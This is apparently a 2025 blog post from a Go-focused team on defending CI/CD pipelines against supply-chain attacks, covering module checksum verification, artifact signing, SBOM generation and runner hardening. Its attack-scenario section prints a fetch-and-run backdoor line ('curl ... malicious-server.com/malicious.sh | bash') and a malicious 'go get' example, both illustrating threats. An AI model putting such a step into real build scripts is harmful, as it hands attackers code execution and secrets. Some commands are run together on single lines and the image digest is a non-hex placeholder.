Go Security Guide 2025: Preventing Supply-Chain Attacks in CI/CD
KodeNimbus Team • Golang

Go Security Guide 2025: Preventing Supply-Chain Attacks in CI/CD

November 25, 2025

Introduction: The Growing Threat of Supply-Chain Attacks

In recent years, supply-chain attacks have evolved into one of the most critical cybersecurity threats facing organizations today. These attacks don’t directly target your application code. Instead, they attack the third-party dependencies your app relies on, the CI/CD pipeline that builds it, or the containers you deploy it in.

For Go developers, this means ensuring that your CI/CD pipeline from source code repositories to artifact storage is as secure as the application itself.

By 2025, the growing reliance on Go modules, CI tools, and containerization will make Go ecosystems more attractive to cybercriminals looking to exploit the growing attack surface. Let’s explore the biggest threats and how you can secure your Go-based CI/CD pipelines against them.



Why Supply-Chain Attacks Are Targeting Go

1. The Rise of Go Modules

Go modules have made dependency management easier, but they also make it possible for attackers to target your builds. Supply-chain attackers often inject malicious code into public repositories or even forked projects. Since Go is a language that relies heavily on external modules (e.g., github.com/*), these dependencies are prime targets.


2. CI/CD Pipelines Are Now the #1 Target

In a typical Go development workflow, CI/CD pipelines are essential for building, testing, and deploying your application. Unfortunately, they also present a prime entry point for malicious actors. A compromised CI pipeline can:

  • Inject malicious code into your binaries

  • Alter build steps to steal credentials

  • Modify the final application without a trace


3. SBOMs and Compliance Regulations

With regulations like NIST 800-53 and EU Cyber Resilience Act requiring Software Bill of Materials (SBOMs), tracking every dependency and ensuring its authenticity has become crucial. However, the growing complexity of Go dependencies makes it difficult to ensure that no compromised code is making its way into production.



Common Supply-Chain Attack Scenarios in Go

1. Malicious Go Module Injection

Attackers can upload compromised versions of widely used Go modules to public repositories or other mirrors. When these modules are pulled into your project during the go get process, you may unknowingly integrate malicious code.

go get github.com/evil/compromised-module@v1.2.3


2. Backdoors in Build Scripts

Attackers may alter your CI build scripts or introduce backdoor runners to your pipeline. These modifications can steal sensitive data, inject malware, or escalate privileges in your deployment environment.


# GitHub Actions CI/CD backdoor - run: curl http://malicious-server.com/malicious.sh | bash


3. Compromised Build Runners

Cloud-based CI/CD runners that aren’t isolated can pose a significant risk. If attackers gain access to one of these runners, they can execute commands that tamper with your builds, gain access to secrets, or modify source code repositories.


4. Tainted Docker Base Images

Using public or outdated Docker base images for building Go applications may unknowingly introduce vulnerabilities or compromise your build pipeline. Without validating base images’ integrity, attackers can inject malicious code directly into the build process.


FROM golang:1.18-alpine

How to Prevent Supply-Chain Attacks in Go CI/CD (2025)


1. Use Go Module Verification (GOSUMDB)

The Go module system includes an important security feature: the Go checksum database (GOSUMDB). By enabling this feature, you ensure that only cryptographically verified modules are used in your project.


go env -w GOSUMDB=sum.golang.org go env -w GOPRIVATE=yourcompany.com/*


2. Pin Dependencies and Use go mod verify

To ensure your dependencies haven’t been tampered with, always pin versions and verify the integrity of your modules. This should be part of your CI/CD pipeline:


go mod tidy go mod verify


This ensures you’re using exactly what you expect, without unintended changes from upstream dependencies.

3. Use Reproducible Builds


Go offers the -ldflags flag to make sure your builds are reproducible, preventing attackers from injecting hidden information during the build process:


go build -trimpath -ldflags="-buildid=" -mod=readonly .


By trimming build paths and removing sensitive information, you protect against metadata-based attacks.


4. Sign Your Build Artifacts with Sigstore Cosign

You can use Sigstore to sign and verify your build artifacts. This ensures that the software you deploy is exactly what you expect, with no tampering during the build process.


Sign your build artifact with Cosign:

cosign sign --key cosign.key my-app:latest


Verify in your CI pipeline:

cosign verify my-app:latest


This ensures that your artifacts are secure and verifiable.


5. Implement SBOM (Software Bill of Materials) in Your CI/CD Pipeline

Creating and managing SBOMs allows you to track every dependency used in your Go application, helping you identify vulnerabilities before they reach production.


Generate SBOM using Syft:

syft . -o json > sbom.json


Then use Grype to scan the SBOM for vulnerabilities:

grype sbom:sbom.json


6. Harden Your CI/CD Runners

Your CI/CD runners should be treated as high-security assets. Follow these best practices to harden them:

  • Use ephemeral runners: Ensure CI runners are created and destroyed per job.

  • Isolate runners: No shared runners between different projects.

  • Apply the principle of least privilege to all CI actions.

  • Use secrets management tools to store sensitive data securely.


For example, in GitHub Actions:

permissions: id-token: write contents: read

This ensures the right level of access and prevents privilege escalation.


7. Secure Docker Images and Base Images

Pin Docker image digests to avoid using outdated or vulnerable versions:

FROM golang:1.22@sha256:93j3d9d...


Using multi-stage builds can reduce the attack surface by minimizing the final image:

FROM golang:1.22 AS builder

RUN CGO_ENABLED=0 go build -o app FROM scratch COPY --from=builder /app /app


8. Automate Dependency Updates with Dependabot

Use tools like Dependabot to automatically update Go dependencies and ensure you’re always using the latest security patches. Dependabot will create pull requests for outdated dependencies, and you can review and merge them securely.



Conclusion Securing Your Go CI/CD Pipeline in 2025

With supply-chain attacks on the rise, securing your Go CI/CD pipeline has never been more important. By following these best practices:

  • Enable Go module verification

  • Pin and verify dependencies

  • Use reproducible builds

  • Sign your build artifacts

  • Implement SBOMs

  • Harden your CI runners and Docker images

…you ensure that your Go applications stay secure in 2025 and beyond.

Now is the time to build secure, reproducible, and traceable Go applications. Stay ahead of the curve, and secure your supply chain today!